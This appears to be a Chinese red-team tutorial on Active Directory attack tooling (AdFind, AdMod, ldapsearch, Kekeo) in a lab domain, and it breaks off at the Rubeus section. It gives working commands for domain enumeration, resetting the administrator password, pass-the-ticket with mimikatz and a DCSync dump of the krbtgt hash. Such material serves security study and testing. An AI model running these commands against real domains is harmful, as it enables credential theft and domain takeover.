域内武器化工具

1. Adfind的使用

Adfind是C++编写的活动目录查询工具

1.1. 参数

1.1.1. 连接参数

连接参数是在连接的时候指定的参数。如果在域内机器上执行Adfind,则不需要连接参数。如果是域外机器上执行Adfind,则需要指定连接参数。

Note
  • h 指定主机与端口(ip:port)
  • p 也可以单独指定端口
  • u 指定用户
  • up 指定密码

1.1.2. 过滤参数

过滤参数用于指定查询的时候需要过滤的一些条件

Note
  • b 指定要查询的根节点basedn
  • bit 指定位查询
  • f LDAP过滤条件 指定LDAP语法

1.1.3. 显示参数

显示参数是设置查询出来后如何显示的参数

Note
  • appver 显示Adfind版本信息
  • c 只统计数量
  • csv 导出为csv格式
  • dn 只显示DN 不返回详细信息
  • s 搜索范围,包括one(当前层级)和sub(一层一层递归),默认是sub
  • recmute 如果所有属性都为空,则禁止显示DN,主要适用于-sddl过滤器选项
  • t 查询超时时间,默认为120s

1.1.4. 帮助参数

帮助参数用于提供帮助信息

Note
  • help 基础帮助
  • ?? 高级帮助
  • ???? 快捷方式帮助
  • sc? 快捷方式帮助
  • meta? 元数据帮助
  • regex? 固定表达式帮助

1.2. 使用

Adfind工具使用的结构如下
Adfind.exe [switches] [-b basedn] [-f filter] [attr list]

1.2.1. switches

连接参数,如果在域内机器上执行Adfind,则不需要该选项。如果是域外机器上执行Adfind,则需要指定域控并提供一个有效的域用户和密码。

1.2.2. basedn

指定要查询的根节点basedn

# 查询DN为dc=god,dc=org下的所有机器
AdFind.exe -b dc=god,dc=org -f "objectcategory=computer" dn

# 查询DN为CN=Computers,dc=god,dc=org下的所有机器
AdFind.exe -b CN=Computers,dc=god,dc=org -f "objectcategory=computer" dn

1679297218873-f0c554a0-029c-4cc6-b3b4-b2f65f47d793

1.2.3. filter

该选项指定查询的过滤条件,使用-f参数过滤不同的查询条件

# 查询域内所有机器
AdFind.exe -f "objectcategory=computer" dn

# 查询域内所有用户
AdFind.exe -f "&((objectcategory=person)(objectClass=user))" dn

1679297424069-609a275a-34fd-44de-9b21-7c496160d7e8

1679297440067-c58d35b9-bb75-443a-908d-6debef95b7c7

1.2.4. attr list

该选项指定查询出来的结果显示哪个属性。当不使用该参数时,会显示查询对象的所有属性

# 查询域内所有机器,显示所有机器的所有属性
AdFind.exe -f "objectcategory=computer"

# 查询域内所有机器,显示所有机器的DN属性
AdFind.exe -f "objectcategory=computer" dn

# 查询域内所有机器,显示所有机器的DN属性,查询结果不换行。只有DN属性能在前面加“-”符号
AdFind.exe -f "objectcategory=computer" -dn

# 查询域内所有机器,显示所有机器的name属性
AdFind.exe -f "objectcategory=computer" name

1.3. 查询示例

实战中常用到的一些查询语法

1.3.1. 查询域信任关系

AdFind.exe -f objectclass=trusteddomain -dn

1679297828309-f96f4469-228e-47c7-b52e-b396808118bf

1.3.2. 查询域控

# 查询域控名称
AdFind.exe -sc dclist

# 查询域控版本
AdFind.exe -schema -s base objectversion

1679297936893-0c431e5d-e57c-4e75-86bb-7cf3139995e5

1.4. 机器相关的查询命令

# 查询域中所有机器,只显示DN
AdFind.exe -f "objectcategory=computer" dn

# 查询域中所有机器,显示机器名和操作系统
AdFind.exe -f "objectcategory=computer" name operatingSystem

# 查询域中活跃机器,只显示DN名
AdFind.exe -sc computers_active dn

# 查询域中活跃机器,显示机器名和操作系统
AdFind.exe -sc computers_active name operatingSystem

# 查询指定机器的详细信息
AdFind.exe -f "&(objectcategory=computer)(name=ROOT-TVI862UBEH)"

# 查询被域用户创建的机器账户列表
AdFind.exe -b "DC=xuan,DC=com" -f "objectClass=computer" mS-DS-CreatorSID

1.5. 用户相关的查询命令

# 查询域管理员
AdFind.exe -b "CN=Domain Admins,CN=Users,DC=god,DC=org" member

# 查询域内所有用户
AdFind.exe -b dc=god,dc=org -f "(&(objectcategory=person)(objectClass=user))" -dn

# 查询域内指定用户的信息
AdFind.exe -sc u:xuan

# 查询域内指定用户的sid值
AdFind.exe -sc adsid:S-1-5-21-2952760202-1353902439-2381784089-1111

# 查询域内指定用户属于哪些组
AdFind.exe -s subtree -b CN=administrator,CN=users,DC=god,DC=org memberOf

# 递归查询指定用户属于哪些组
AdFind.exe -s subtree -f "(member:INCHAIN:="CN=administrator,CN=users,DC=god,DC=org")" -bit -dn

# 查询域内开启了不需要域认证选项的用户
AdFind.exe -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" -dn

# 查询受保护的用户
AdFind.exe -f "&(objectcatory=person)(samaccountname=*)(admincount=1)" -dn

# 查询users容器下所有对象
AdFind.exe -users -dn

1.6. 组相关的查询命令

# 查询域内所有的全局组
AdFind.exe -f "(grouptype=-2147483646)" -dn

# 查询域内所有的通用组
AdFind.exe -f "(grouptype=-2147483640)" -dn

# 查询域内所有的本地域组
AdFind.exe -f "(|(grouptype=-2147483644)(grouptype=-2147483643))" -dn

# 查询指定组含有哪些对象
AdFind.exe -s subtree -b "CN=Domain Admins,CN=Users,DC=god,DC=org" member

# 递归查询指定组含有哪些域用户
AdFind.exe -s subtree -b dc=god,dc=org -f "(memberof:INCHAIN:="CN="Domain Admins",CN=Users,DC=god,DC=org")" -bit -dn

1.7. 委派相关的查询命令

# 查询域中配置非约束性委派的主机
AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

# 查询域中配置非约束性委派的服务账户
AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

# 查询域中配置了约束性委派的主机,并可以看到被委派的SPN
AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

# 查询域中配置了约束性委派的服务账户,并可以看到被委派的SPN
AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

#查询域中配置了基于资源的约束性委派的主机
AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity

# 查询域中配置了基于资源的约束性委派的服务账户
AdFind.exe -b "DC=xuan,DC=com" -f "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity

# 查询域中所有机器,显示DN和CN
AdFind.exe -b "DC=xuan,DC=com" -f "objectClass=computer" mS-DS-CreatorSID

# 根据查询出来的sid找出对应的用户名
AdFind.exe -b "DC=xuan,DC=com" -f "(&(objectsid=S-1-5-21-1477789205-324620140-3651044789-1108))" objectclass cn dn

# 使用adfind.exe查找机器账户的mS-DS-CreatorSID属性
AdFind.exe -b "DC=xuan,DC=com" -f "objectClass=computer" mS-DS-CreatorSID

# 使用Powershell反查SID对应的用户
powerpick $objSID = New-Object System.Security.Principal.SecurityIdentifier S-1-5-21-3309395417-4108617856-2168433834-1104;$objUser = $objSID.Translate([System.Security.Principal.NTAccount]);$objUser.Value

1.8. 其他

# 查询域内具有复制目录权限的用户
AdFind.exe -s subtree -b "DC=god,DC=org" nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute -resolvesids

# 查询域内具有复制目录所有项权限的用户
AdFind.exe -s subtree -b "DC=god,DC=org" nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes All";; -recmute -resolvesids

# 查询域中的OU
AdFind.exe -f "objectClass=organizationalUnit" dn

# 查询域的ACL
AdFind.exe -b DC=gor,DC=org -sc getacl

# 查询rightsGuid对应的扩展权限
AdFind.exe -b CN=Extended-Rights,CN=Configuration,DC=god,DC=org -f "rightsGuid=1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" dn

# 查询域内所有GPO
AdFind.exe -sc gpodmp

# 查询域内高权限的SPN
AdFind.exe -b "DC=gor,DC=org" -f "&(servicePrincipalName=*)(admincount=1)" servicePrincipalName

# 查询域内的所有邮箱并以csv格式显示
AdFind.exe -f "mail=*" mail -s Subtree -recmute -csv moblie

# 查询域内的所有手机号并以csv的格式显示
AdFind.exe -f "telephonenumber=*" telephonenumber -s Subtree -recmute -csv moblie

2. Admod

Admod是一个使用C++编写的活动目录修改器,允许有权限的用户轻松的修改各种活动目录信息

2.1. 参数

2.1.1. 连接参数

连接参数是在连接的时候指定的参数

  • h 指定主机和端口
  • p 也可以单独使用-p参数指定端口
  • u 指定用户
  • up 指定密码

2.1.2. 过滤参数

  • b 指定要修改的根节点basedn

2.1.3. 修改参数

修改参数是修改是用到的一些参数,比如添加、删除、重命名等

  • rm 删除指定的对象
  • del -rm的别名
  • add 添加对象
  • undel x 取消删除指定的对象。需使用未知的父对象,除非x中提供了一个父节点
  • rename x 将对象重复名为x的RDN
  • move x 将对象移动到由x指定的父对象

2.2. 使用

Admod使用结构如下:
Admod [switches] [-b basedn] [attr-action]

2.2.1. switches

该选项是连接参数,在执行一些高权限操作的时候。需要指定高权限的用户名和密码

Admod -h 192.168.52.138 -u god.org\Administrator -up dc123.com -b dc=god,dc=org "description::test"

2.2.2. attr-action

该选项使用户指定要进行的操作,如add添加 rm删除等。使用rm删除用户testuser的命令如下

Admod.exe -b cn=testuser,cn=users,dc=god,dc=org -rm

2.3. 修改示例

2.3.1. 创建用户

创建testuser用户,创建完成后该用户仍处于禁用状态。

AdMod.exe -b cn=testuser,cn=users,dc=god,dc=org -add objectclass::user samaccountname::testuser

1679322440835-7cc2f849-ea1f-4878-8938-87046ef80449

2.3.2. 创建OU

创建技术部OU的命令 如果包含中文,先将当前页面编码改为GBK

AdMod.exe -b OU=技术部,DC=god,DC=org -add objectclass::organizationalUnit

2.3.3. 将用户移动到指定OU

AdMod.exe -b cn=testuser,cn=users,dc=god,dc=org -move OU=技术部,dc=god,dc=org

2.3.4. 删除用户

AdMod.exe -b cn=testuser,cn=users,dc=god,dc=org -rm

2.3.5. 重置用户密码

重置域管理员administrator的密码为P@ss1234的命令如下 该功能不需要知道用户的原始密码

AdMod.exe -users -rb cn=administrator unicodepwd::P@ss1234 -optenc

2.3.6. 修改用户密码

修改域管理员administrator的密码为P@ss1234的命令如下 该功能需要知道用户的原始密码 这里用户的原始密码为dc123.com

AdMod.exe -users -rb cn=administrator unicodepwd::dc123.com unicodepwd::P@ss1234 -optenc

2.3.7. 修改域的MAQ为0

修改域的MAQ值为0 即不允许普通域用户创建机器账户

AdMod.exe -b "dc=god,dc=org" "ms-DS-MachineAccountQuota::0"

3. LDP

LDP是微软自带的一款活动目录信息查询工具 普通域成员主机默认没有LDP工具 可以自行上传

3.1. 连接域控

1679323578042-1e2ac4b2-c15c-4629-a16f-f62a9047dc87

1679323600071-cf4a2173-ba9b-4bcb-9494-60960ce75732

3.2. 绑定凭据

1679323627565-ecad166d-a189-46ed-9d5b-22abe2312ec8

3.3. 查看

1679323775813-8468326a-e252-4a96-a13a-069afed5956f

4. Ldapsearch

Ldapsearch是类UNIX下一款用于活动目录信息查询的工具,kali自带

4.1. 参数

Note

Ldapsearch -h

  • H ldapuri 格式为ldap://机器名或者IP:端口号 不能与-h -p同时使用
  • h LDAP服务器IP 与-p 可结合使用
  • p LDAP服务器端口号,与-h可结合使用
  • x 使用简单认证方式
  • D 认证的用户名
  • w 密码 与-W二选一
  • W 不输入密码,会交互式的提示用户输入密码,与-w二选一
  • b 指定 basedn进行查询
  • f 从文件中读取操作
  • c 出错之后忽略当前错误继续执行,默认情况下遇到错误即终止
  • n 模拟操作但并不实际执行,用于验证,常与-v一同使用进行问题定位
  • v 显示详细信息
  • d 显示debug信息,可设定几倍
  • o 输出为文件
  • s 指定搜索范围,可选值有base、one、sub、children

4.2. 使用

4.2.1. 连接

# 使用账户xuan和密码-H参数连接域控的389端口
ldapsearch -H ldap://192.168.52.138:389 -D "xuan@god.org" -w 123.com

# 使用账户xuan和密码-h参数连接域控 -p指定端口
ldapsearch -h 192.168.52.138 -p 389 -D "xuan@god.org" -w 123.com

4.2.2. 过滤

# 查找指定basedn的信息
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "CN=administrator,CN=Users,DC=god,DC=org"

# 查找指定basedn的信息,并且过滤出name=administrator的条目
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "CN=administrator,CN=Users,DC=god,DC=org" "name=administrator"

4.2.3. 显示

默认情况下,查找的结果会显示对象的所有属性,如果只想显示指定属性,在末尾加上属性名即可,也可以使用-o参数将结果导出在文件中

#查找用户administrator用户的所有信息
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "CN=administrator,CN=Users,DC=god,DC=org"

# 查找用户administrator的DN属性
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "CN=administrator,CN=Users,DC=god,DC=org" dn

# 查找用户administrator的DN属性,使用grep过滤结果更直观
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "CN=administrator,CN=Users,DC=god,DC=org" | grep dn

# 查找用户administrator的所有信息,并将结果导出在指定LDIF格式文件中
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "CN=administrator,CN=Users,DC=god,DC=org" -o ldif-wrap=no > administrator.ldif

# 使用adoffline.py脚本将LDIF格式文件转换为sqlite格式文件
python2 adoffline.py ~/administrator.ldif

1679380825958-f99d21c8-0e90-4654-984a-b0d7a274a5f0

4.3. 查询示例

4.3.1. 机器相关的查询命令

# 查询域中所有域控
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "OU=Domain Controllers,DC=god,DC=org" "objectcategory=computer" | grep dn

# 查询域中所有的机器(包括域控)
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "objectcategory=computer" | grep dn
# 查询指定机器的详细信息
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(objectcategory=computer)(name=stu1))"

4.3.2. 用户相关的查询命令

# 查询域管理员组
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "CN=Domain Admins,
CN=Users,DC=god,DC=org" | grep member

# 查询域内所有用户
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(
&(objectcategory=person)(objectclass=user))" | grep dn

# 查询指定域用户xuan
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(objectcategory=person)(objectclass=user)(name=xuan))"

# 查询指定域用户的sid
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(objectcategory=person)(objectclass=user)(name=xuan))" | grep objectSid

# 查询指定sid对应的用户
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(objectcategory=person)(objectclass=user)(objectsid=AQUAAAAAAAUVAAAAiov/r2fpslAZJPeNVwQAAA==))"

# 查询指定域用户属于哪些组
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(objectcategory=person)(objectclass=user)(name=administrator))" memberOf

# 查询域内开启不需要预认证的用户
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" | grep dn

# 查询域内受保护的ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(objectcategory=person)(samaccountname=*)(admincount=1))" | grep dn用户

4.3.3. 组相关的查询命令

# 查询域内所有全局组
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "groupType=-2147483646" | grep dn

# 查询域内所有通用组
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "groupType=-2147483640" | grep dn

# 查询域内所有本地域组
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(|(grouptype=-2147483644)(grouptype=-2147483643))" | grep dn

# 查询指定组含有哪些对象
ldapsearch -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "CN=Domain Admins,CN=Users,DC=god,DC=org" member

4.3.4. 委派相关的查询命令

# 查询域中配置了非约束性委派的主机
ldapsearch -x -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep dn

# 查询域中配置非约束性委派的服务账户
ldapsearch -x -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep dn

# 查询域中配置了约束性委派的主机,并可以看到被委派的SPN
ldapsearch -x -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" | grep -e dn -e msDS-AllowedToDelegateTo

# 查询域中配置了约束性委派的服务账户,并可以看到被委派的SPN
ldapsearch -x -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" | grep -e dn -e msDS-AllowedToDelegateTo

# 查询域中配置基于资源的约束性委派的主机
ldapsearch -x -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dn

# 查询域中配置基于资源的约束性委派的服务账户
ldapsearch -x -H ldap://192.168.52.138:389 -D "administrator@god.org" -w P@ss1234 -b "DC=god,DC=org" "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dn

5. Kekeo

使用C语言编写的针对Kerberos协议进行攻击的工具,可以发起Kerberos请求,并将请求的票据导入内存中,从而模拟Kerberos各个阶段攻击手段 了解即可

5.1. kekeo提供的模块

5.1.1. standard模块

Note
  • exit 退出
  • cls 清屏
  • answer 回答关于生命、宇宙、和一切的终极问题
  • coffee 打印一个咖啡图形
  • sleep 睡眠时间为1ms
  • log 打印日志到文件
  • base64 用于input/output对于base64的支持
  • version 显示版本
  • cd 切换目录
  • localtime 查看当前时间

这些standard命令几乎不常用 但是需要提一下base64

# 查看base64的支持
base64

# input 支持base64
base64 /input:on

# output 支持base64
base64 /output:on

# input 不支持base64
base64 /input:off

# output 不支持base64
base64 /output:off

5.1.2. 其他模块

Note
  • TGT模块
  • TGS模块
  • exploit 攻击模块
  • misc 杂项模块
  • Kerberos包模块
  • smb小型模块
  • NTLM模块
  • TSSSP模块

最常用的是TGT和TGS模块

5.2. 申请TGT

使用TGT模块申请TGT,可以使用明文或密码哈希进行认证。可以将票据导出成文件,或者直接导入到当前内存中
将TGT导入内存后,想请求什么服务,系统就会自动利用该TGT请求指定的服务ST

5.2.1. 明文密码请求

kekeo支持使用明文密码请求TGT,有kekeo自动导入票据和通过mimikatz手动导入票据两种方式

kekeo自动导入票据
使用administrator的明文密码请求TGT的命令如下,并自动导入到内存中;票据导入到内存中,就可以访问高权限服务了

# 明文密码申请TGT并导入到内存中
tgt::ask /user:administrator /domain:god.org /password:P@ss1234 /ptt

1679413666090-d78d14f4-e82b-4534-9d22-0898f01b8d6b

使用mimkatz手动导入票据
使用administrator的明文密码请求TGT的命令如下,并生成以kirbi结尾的票据,此时不导入内存中,接着使用mimikatz将该票据手动导入内存中。

# 明文密码申请TGT,此时会生成一个以kirbi结尾的票据
tgt::ask /user:administrator /domain:god.org /password:P@ss1234

1679413705234-f0fb129c-d0c9-42ef-8c36-baf9e9db1c58

然后使用mimikatz将票据导入内存中,就可以使用该票据了

mimikatz.exe "kerberos::ptt TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"

1679413745295-d2a41e17-bd85-4e44-8ecc-de1c0b0f6194

5.2.2. 密码哈希请求

使用administrator的密码哈希请求TGT的命令如下

# 密码哈希申请TGT并导入内存中
tgt::ask /user:administrator /domain:god.org /ntlm:74520a4ec2626e3638066146a0d5ceae /ptt

# 密码哈希申请TGT,此时会产生一个kirbi结尾的票据 使用mimikatz导入即可使用
tgt::ask /user:administrator /domain:god.org /ntlm:74520a4ec2626e3638066146a0d5ceae

1679414317638-abb70c3d-b8a2-4c79-9ee1-cd7587c6f115

1679414672634-798348c0-0ee1-41b4-8b5d-6c3119dd803a

5.3. 申请ST

kekeo使用tgs模块申请ST,需要提供一张TGT。因此,要先使用kekeo申请一张TGT,在使用tgs模块用TGT请求指定服务的ST。可以将请求的ST导入内存中或者导出成票据文件

5.3.1. 请求TGT

5.3.2. 生成一张TGT

# 明文密码申请TGT,此时会生成一个以kirbi结尾的票据
tgt::ask /user:administrator /domain:god.org /password:P@ss1234

5.3.3. 请求ST

请求St,平时请求的CIFS的票据指定用于dir操作而不能使用mimikatz的 DCSync 功能,要想使用的话,需要请求 LDAP 服务

  • Impacket 的 secretsdump 在执行 DCSync 之前依赖于 SMB(因此在使用 Kerberos 票据时需要 CIFS/domaincontroller SPN
  • mimikatz 在执行 DCSync 之前依赖于 LDAP(因此在使用 Kerberos 票据时需要 LDAP/domaincontroller SPN

5.3.4. 请求CIFS

用上一步得到的TGT请求CIFS的ST ,导入后即可访问CIFS服务

tgs::ask /tgt:TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /sevice:cifs/owa.god.org

1679457558970-d1666bba-47f8-4602-b2d9-4f6772e96d65

5.3.5. 请求LDAP服务

利用上一步得到的TGT请求LDAP服务的ST

# 请求访问owa.god.org 的LDAP服务的ST并导入内存中
tgs::ask /tgt:TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /sevice:ldap/owa.god.org /ptt

# 通过mimikatz的DCSync功能导出域用户的Hash
mimikatz.exe "lsadump::dcsync /domain:god.org /user:krbtgt/csv" "exit"

没导入ST之前无法导出krbtgt用户哈希

1679458335229-d054b140-aa83-45b1-b2fc-1c8f089af249

导入ST后就可以了
1679458374591-30cf538e-9edd-4227-b1a1-961c072e5fa1

6. Rubeus

Rubeus可以发起Kerberos请求,并将请求票据导入内存中,Rebeus提供了大量的用于Kerberos攻击的功能,比如TGT请求\ST请求\AS-REP Roasting攻击\Kerberoasting攻击\委派攻击\黄金票据\白银票据等。

6.1. 申请TGT